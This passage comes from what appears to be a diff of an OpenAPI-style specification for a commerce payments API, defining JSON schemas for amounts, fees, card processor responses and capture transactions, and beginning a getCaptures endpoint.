"https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents capture transaction against a payment", - "properties": { - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - } - } - }, - "responses": { - "201": { - "description": "Capture payment completed successfully", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Capture Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents capture transaction against a payment", - "properties": { - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - } - } - } - }, - "scopes": [] - }, - { - "operationId": "getCaptures", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/captures", - "summary": "Get Captures", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": 